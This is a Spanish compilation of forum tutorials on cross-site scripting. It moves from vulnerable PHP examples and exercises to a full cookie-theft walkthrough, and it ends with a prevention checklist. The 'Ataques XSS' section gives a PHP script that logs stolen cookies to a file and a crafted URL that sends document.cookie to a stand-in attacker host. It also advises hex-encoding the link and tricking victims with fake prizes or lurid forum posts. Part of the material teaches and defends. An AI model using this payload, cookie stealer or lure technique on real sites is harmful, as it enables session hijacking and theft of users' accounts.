Bugs y Exploits‎ > ‎Nivel Web‎ > ‎

Cross Site Scripting

Contenidos

  1. 1 XSS Capítulo 1: Introducción a Cross Site Scripting.
  2. 2 XSS Capítulo 2: Cross Site Scripting.
  3. 3 Tutorial: Ataques XSS
  4. 4 XSS: Cross Site Scripting - ¿Cómo evitarlo?

XSS Capítulo 1: Introducción a Cross Site Scripting.


Ahora se va a explicar la vulnerabilidad XSS. Las herramientas y conocimientos necesarios son:

- Conocimientos sobre HTML
- Saber lo mínimo sobre JavaScript.
- Estría bien saber php, pero no es tan necesario.
- También seria útil disponer de un servidor web con php instalado.
- Algo también muy importante es tener una cabeza bien equipada, aunque con un ojo y algo de cerebro sobra.
- Y por supuesto también es necesario tener ganas de aprender.

XSS significa Cross Site Scripting, no lo abreviaron en CSS para no confundirlo con las hojas de estilo en cascada. Aveces también se le llama HTML injection pero esto no es correcto, lo correcto es llamarle XSS o Corss Site Scripting. Esta vulnerabilidad es un fallo en el sistema de validacion de HTML incrustrado y consiste en inyectar código HTML y Javascript donde no debería haberlo y así conseguir algún provecho, normalmente esta vulnerabilidad se usa para el robo de cookies, para hacer phishing y desfaces en los foros. 

Se suele encontrar en los buscadores de la web. Hay dos clases de XSS, la indirecta y la directa. La indirecta es la menos censurada y la menos explotada, y la directa es mas difícil de encontrar ya que se suele filtrar mas. 

Haré una definición mas exacta: 

 - Directa (Persistente): Esta es muy divertida! pero es muy difícil de encontrar una vulnerabilidad de este tipo. Se encuentra en los foros, libros de visita y webs que se puedan modificar por medio de formularios. Con una vulnerabilidad como esta siempre que alguien entre a la parte del foro donde se ha inyectado el código, se ejecutara en su navegador y hara lo que tenga que hacer, mucha gente usa esta vulnerabilidad para hacer un deface usando una etiqueta <div> que cubra toda la web o con un script que la redireccione a tu sitio.

- Indirecta (Reflejada): Este tipo de XSS es muy fácil de encontrar en motores de búsqueda sobre todo, en esta el código se inyecta a través de formularios, URL, cookies, programas en Flash o incluso en vídeos. Esta vulnerabilidad es mas dificil sacarle provecho ya que tenemos que conseguir que alguien entre en el enlace malicioso, mas adelante se vera lo que es un enlace malicioso. 

 Ahora imaginemos un buscador de texto dentro de una web, podemos poner cualquier cosa y la web nos respondería: "Lo que hayas puesto no se ha encontrado, repita su búsqueda", donde pone "lo que hayas puesto" podríamos poner otra cosa como <h1>Hola</h1> y si es vulnerable el navegador lo interpreta como parte del código HTML y saldría hola en letras grandes, pero envés de poner "<h1>hola</h1>" podemos insertar un código que hiciese que cuando alguien entre le robe las cookies y las almacene en otro servidor.

Si la web pasa la variable del buscador mediante GET (es lo mas común) podemos generar una URL maliciosa y hacer que alguien entrase y así le robaríamos las cookies, la URL seria algo como esto:

http://www.webvulnerable.es?buscar=codigo_insertado

No os asustéis si no ha quedado muy claro porque vamos con un ejemplo:

Código de la web desde donde se envía el formulario:

<HTML>
<HEAD>
<TITLE>Vulnerabilidad XSS</TITLE>
</HEAD>
 
<BODY>
<BR>
<FORM METHOD="get" ACTION="xss.php">
 
<INPUT TYPE="text" NAME="vuln">
<BR><BR>
<INPUT TYPE="submit" VALUE="enviar">
 
</FORM>
</BODY>
</HTML>
 
Ahora el código que recibe las variables de este formulario (xss.php):


<?php
 
$var = $_GET["vuln"];
echo "Has escrito: ".$var;
 
?>
 
Si no tenéis servidor con php instalado para poder hacer la prueba he subido el formulario a una web: http://tallervulneravilidades.iespana.es/xss, podéis hacer todas las pruebas que quieras con esta web.

Supongo que si sabéis php entiendes los códigos, si no saben los explicaré.

En el primer código hay que fijarse en la etiqueta <FORM>:

<FORM METHOD="get" ACTION="xss.php">

El método GET significa que envía los datos a través de la URL, supongo que ya os abareis dado cuanta de eso, y el método POST los envía sin usar la URL, action dice que le envía los datos a "xss.php", que es el código que analizaremos ahora.
El segundo código recoge los datos enviados y los escribe en la pantalla.


$var = $_GET["vuln"];

Esta función recoge los del cuadro de texto con nombre "vuln" y los almacena en $var.

echo "Has escrito: ".$var;

Este código escribe en la pantalla "Has escrito: " seguido de la variable $var. Supongo que ahora si habrá quedado bien claro.

Ahora os dejo una tarea, tenéis que explotar la siguiente vulnerabilidad de XSS, si no lo consegis pondré la respuesta en el siguiente capitulo.
Este es el código de la vulnerabilidad:


<!--
Codigo de "index.html"
//-->
 
<HTML>
<HEAD>
<TITLE>Ejercicio 1: Vulnerabilidad XSS</TITLE>
</HEAD>
 
<BODY>
<BR>
<H2>Ejercicio 1: Vulnerabilidad XSS</H2>
<BR>
<BR>
<H4>Aquí lo que escribes sale dentro de una caja de texto, así que no se ejecuta el código, lo que hay que hacer para que el código se ejecute es romper la caja de texto para que el código quede fuera de ella.</H4>
<BR>
<BR>
<FORM ACTION="xss.php" METHOD="get">
 
  <INPUT TYPE="text" NAME="vuln">
<BR><BR>
  <INPUT TYPE="submit" VALUE="Enviar">
 
</FORM>
</BODY>
</HTML>
 
Ahora pongo el codigo del programa que recibe las variables (xss.php):


<?php
 
$var = $_GET["vuln"];
 
?>
<FORM>
<BR>
Has escrito: <INPUT TYPE="text" VALUE="<?php echo $var; ?>">
</FORM>

 ( En la URL "buscar" es la variable a la que le asignamos "codigo_insertado", que es el que escribe al decir que no encuntra lo que buscamos. Ej: "Su busqueda: codigo_insertado no ha sido encontrasa, repita la busqueda")

Si no tenéis server web con php podéis hacer el ejercicio aquí: http://tallervulneravilidades.iespana.es/ejerxss

XSS Capítulo 2: Cross Site Scripting.

En este capitulo seguiremos con el XSS, pero antes de nada explicaré la solución al ejercicio que puede en el anterior capítulo sobre inyectar código dentro de una caja de texto.

Respuesta al ejercicio 1:

El ejercicio no era tan difícil, solo había que pensar un poco en el código de los formularios para poner una caja de texto:


<INPUT TYPE="text" VALUE="<?php echo $var ?>">

Ya nos habremos dado cuenta de que el código se inserta dentro de la propiedad VALUE=" ", así que para explotar la vulnerabilidad de este modo solo tendríamos que cerrar la propiedad VALUE y la etiqueta, ¿¡COMO!? Muy simple, fijaros en este código (El color azul representa el código que ya estaba y el rojo el inyectado):



<INPUT TYPE="text" VALUE=""><SCRIPT>alert(5);</SCRIPT>">


Al principio del código inyectado pone ">, esto hace que cierre el atributo VALUE y la etiqueta, así todo lo que escribamos detrás quedara fuera de la caja de texto. Espero que todos lo hayáis entendido bien, como supongo que es así seguiremos con el tema de XSS.


Antes explicamos la inyección XSS por medio de formularios, ahora explicara como inyectar código por medio de la URL.

Esto es realmente sencillo, consiste en modificar las variables que se envia mediante GET a otra pagina y si la otra pagina los escribe por pantalla ya tenemos la vulnerabilidad. Miren este ejemplo:

Pagina index.html:

<HTML>
<HEAD>
<TITLE>Practica XSS</TITLE>
</HEAD>
 
<BODY>
 
<A HREF="xss.php?var=hola">HOLA</A>
<BR><BR>
<A HREF="xss.php?var=adios">ADIOS</A>
 
</BODY>
</HTML>


Codigo de xss.php:

<?php
 
$bug = $_GET["var"];
echo "Has escrito: ".$bug;
 
?>
 

Aqui esta la URL donde esta este programa: http://tallervulneravilidades.iespana.es/xssa

En este código no hay ningún formulario para inyectar texto, pero si que le pasa variables atraves de la URL, así que podemos modificar esta variable y poner lo que queramos. Con la URL maliciosa solo hace falta un poco de ingeniería social para enviarsela a alguien, entre y se ejecute el código en su navegador. Quedaria algo asi:


http://www.webvuln.es/xss.php?var=lo que queramos

Hay muchos métodos para inyectar código en una aplicaron web, por ejemplo es muy común poner programas en flash que contienen scripts o también es bastante común hacer lo mismo pero con vídeos. Otra forma de conseguir inyectar código es mediante las cookies, antes que nada definiré que es una cookie.

-Cookie: Una cookie no es mas que un fragmento de texto que contiene información. Cuando nos registramos en alguna web el servidor le envía una cookie al navegador que contiene nuestro loggin, el navegador la guarda en nuestro disco duro y así cuando entramos nos loggeamos estomáticamente.

Ahora que ya sabemos lo que es una cookie explicaré como inyectar codigo mediante ellas, este método es mas complicado pero bueno... Imaginemos un libro de visitas como el fotolog (una pena que fotolog no sea vulnerable xD), cuando escribimos un mensaje el navegador envía a nuestro pc una cookie con nuestro nombre y así la próxima vez que enviemos un comentario carga la cookie y escribe estomáticamente nuestro nombre de este modo:


echo "Comentario por: ".$user;

(user es el valor de la cookie)

Normalmente las webs no filtran el código recibido a través de las cookies así que solo tenemos que modificar la cookie y envez de nuestro nombre poner el código que queramos que se ejecute.


Esto va a todos los webmasters: Si tenéis alguna web y encontráis una vulnerabilidad de XSS NO hagáis como muchos otros y dejéis de darle inportancia ya que eso compromete la seguridad de vuestros usuarios y visitantes. Para filtrar un ataque de XSS busquen por google algún filtro, aquí tienen un manual para evitar estos ataques http://foro.elhacker.net/index.php/topic,45693.0.html.

Antes de acabar les pondre un ejercico. Consiste en explotar la Vulnerabilidad de XSS, es muy facil:
http://tallervulneravilidades.iespana.es/xssb





Autor: zhynar_X
Fuente Original:  Información extraida del tutoria de Introduccion Bugs a nivel Web de zhynar_X
http://foro.elhacker.net/bugs_y_exploits/taller_introduccion_a_los_bugs_a_nivel_web-t173509.0.html


Tutorial: Ataques XSS

Bueno pues voy ha hacer una pequeña introducción a los ataques XSS, el caso que voy a poner es el de una web que utilize cookies y tenga un buscador(el típico buscador que tiene una caja de texto y un botón).
decir que para una facil compresión de este mini-tutorial es mejor tener unos conocimientos básicos sobre html.

[~]Lo primero es hacer una pequeña introduccion sobre que es una cookie:
Citar
- Una cookie es un almacen de informacion que se guarda en el ordenador del usuario y en cualkier momento la pagina puede pedir la informacion, que contiene la cookie, al ordenador del usuario...

  • Ahora que sabemos que es una cookie lo que vamos ha hacer es ver el nombre de la página donde se encuentra el buscador, en nuestro caso es buscador.php(xDD)
  • Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador, por ejemplo:

<script>alert()</script>

[~]Si salta una alarma al pulsar el boton, significa que ese buscador es vulnerable.
[~]Si no salta pues no jodemos y a buscar otro...

  • Suponiendo que sea vulnerable, el siguiente paso es ver el nombre de la caja de texto y del botón.
Para esto, tenemos que ver el codigo fuente de dicha página y buscar algo como:
<input type="text" name="palabra"> que será el textbox(caja de texto xD).
<input type="submit" name="buscar" value="Buscar"> que será el boton.

  • Ahora ya sabemos que el textbox se llama palabra y que el botón se llama buscar.

    [~]Para almacenar las cookies, tenermos dos opciones -> almazenarlas en una base de datos(mysql) o almacenarlas en un archivo de texto(la mas facil).

  • A continuacion vamos a crear una pagina en php, este archivo creará otro (archivo.txt) cuando algun usuario caiga en el ataque y escribira a continuacion los siguientes usuarios.
cookies.php

<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

archivo.txt
Este archivo se creara automaticamente y será en el que se almacenen las cookies, osease, que para ver los resultados teneis que entrar en este archivo.

  • Una vez hecho este paso solo tenemos que crear "LA URL MALIGNA"(como yo lo llamo) que será de la siguiente forma:

http://victima/buscador?palabra=<script>window.location='http://atacante/cookies?c='+escape(document.cookie);</script>&buscar=;

  • Voy a explicar cada parte de esta "URL MALIGNA".
    • [~]
http://www.vulnerable.com/buscador.php
Esta parte lo unico que hace es entrar en la pagina del buscador.

[~]?palabra=
Esta parte es para darle un valor a la variable palabra, es decir, si el textbox se llamara manolo esto quedaría de la siguiente forma: ?manolo=

Lo mas importante:
[~]<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>
Esto es el valor que le damos a la variable palabra (que es el textbox). Este valor lo que hace esque redirecciona a la pagina http://www.atacante.com/cookie.php y le da el valor de la cookie(del usuario de la web) a la variables cookie de la pagina que creamos antes(cookies.php)
Suena un poco lioso pero es muy simple.

[~]&buscar=;
Esto lo que hace es simular que el boton (con el nombre -> buscar) este pulsado, sin esto no realizaria la acción.
Tambien decir que si el botón del buscador se llamara jose, eso tendriamos que reemplazarlo por &jose=;

  • Ahora viene la parte mas importante, que es hacer que un usuario de esa web(que esté registrado) entre en ese enlace("LA URL MALIGNA").
Esto seguramente sea la parte mas complicada, porque cualkier persona con unos conocimientos muy basicos de programacion web sabría lo que hace esa "URL MALIGNA". Con lo cual vamos a proceder a "camuflar" un poco esa URL.
Para esto vamos a sustituir cada caracter por su correspondiente valor en hexagesimal poniendo el signo % delante de cada uno.

Aquí os dejo una buena tabla HEX:
http://www.ascii.cl/es/

Con lo cual iría quedando algo así:

%70%61%6C%61%62%72%61%3D%3C%73%63%72%69%70%74%3E...

esto equivaldría a:

palabra=<script>...

y tendrias que continuar cambiando los caracteres a hexagesimal.

Como conseguir que un usuario de esa web entre en esa URL, jejeje, pues ¡¡¡puedes decirle que le toca un premio si entra!!!(xDD) o puedes entrar al foro de esa web(si lo tuviera) y poner la direccion con alguna buena escusa como: "Que le pasa a la web, cuando entro en esta URL me sale una tía en bolas";
Otra opción es ponerlo como una noticia (si tienes un sistemas de noticias) o como se te ocurra.

=============================================
Solo me queda decir que no solo son vulnerbles a un ataque XSS los buscadores, puede ser cualquier formulario que os encontreis por internet, desde un registro de usuario hasta un foro(lo digo por experiencia).
=============================================

CONCLUSION: Este ataque se basa en redireccionar a un usuario(sea como sea) hacia una pagina, tuya, en la que guardes su cookie.

Creo que como introduccion no esta mal, aunque por las bullas de ponerlo pronto a lomejor me he quedado sin decir algo, weno si me acuerdo lo pongo...




Autor: Rentero
Fuente Original: http://foro.elhacker.net/tutoriales_documentacion/tutorial_ataques_xss-t32042.0.html

XSS: Cross Site Scripting - ¿Cómo evitarlo?



En un post anterior, hablaba de tipos básicos de ataques de XSS, la pregunta que normalmente aparece en la mente después de leer eso es ¿cómo lo evito?En general, y dada la importancia de estos ataques, la mejor defensa es una buena prevención. Esto aunque suene quizá a "muy buenas prácticas" es verdaderamente un hecho. La idea fundamental para evitar XSS es:

Todas las entradas proporcionadas por el usuario deben de ser validadas antes de ser utilizadas.

Pero como la idea fundamental habitualmente es olvidada, creo que un checklist es mucho más clarificante. Decir que como siempre, el checklist contiene una serie de puntos que pueden ser comprobados, pero no pretende ser una lista completa ya que muchas cosas dependen de tecnologías web concretas, simplemente unos primeros sitios por donde empezar.

  • Bases de datos
    • Evitar que se puedan ejecutar más de una sentencia SQL en un mismo comando.
    • Utilización de Prepared Statements: ¿Y eso qué es? Básicamente el término prepared statement hace referencia a un tipo de consultas SQL que no se ejecutan concatenando cadenas de caractares.El funcionamiento es primero construir el esqueleto de la sentencia SQL y luego decir qué parametros van en cada punto.

      De esta forma el ejemplo anterior quedaría:

    • SELECT identificadorFROM usuariosWHERE username = ? AND password = ?

    • Ahora sólo quedaría decir qué es cada uno de los parámetros, lo importante es que en esta operación se dice de qué tipo son los mismos, por lo que por ejemplo introducir un número cuando se espera un cadena daría error. En Java por poner un ejemplo, se realizaría con:



    • preparedStatementObject.setString(1, "usuario");
      preparedStatementObject.setString(2, "contraseña");


    • Comprobar las entradas aunque hayan sido comprobadas en la parte cliente. El objetivo sería prevenir posibles problemas relacionados con buffer overflows.

  • Servidores o Aplicaciones Web
    • HTTPS no evita XSS. HTTPS es un protocolo que asegurará que la conexión entre el servidor y el cliente es segura, pero no asegura nada de los datos intercambiados.
    • Filtrado de código HTML que se permite introducir por los usuarios. Esto es especialmente problemático en componentes encargados de los comentarios en un blog o foro.
    • Se puede utilizar un pre-filtrado en código cliente (que será ejecutado en el navegador del usuario), pero sólo como medida adicional de prevención.
    • Evitar utilizar sólo parámetros que viajan con la página para autenticar un usuario. El ejemplo más típico es que aunque exista un parámetro &ID=[cadena de caracteres], eso sólo debe ser utilizado como media adicional
    • En ocasiones sería recomendable comprobar el campo REFERER de la petición HTTP para saber de dónde viene una petición, pero también hay que tener en cuenta que es un campo opcional.
    • Evitar filtrar por codificaciones, este ejemplo quizá parezca bastante absurdo, pero se dan casos donde por ejemplo se filtra por ejemplo un tag que contenga javascript, pero no se filtra jav[caracter x09]ascript y a efectos prácticos es lo mismo.

Y aquí acaba la introducción a XSS, espero que al menos no haya resultado excesivamente técnico :) Como comentario final, simplemente añadir que al final lo mejor es estar al tanto de los ataques que se realizan. El tema de seguridad, siempre es un mundo que se mueve deprisa y en el que algo que se hacía hace un año o 1 mes, es muy probable que ya no tenga validez.





Comments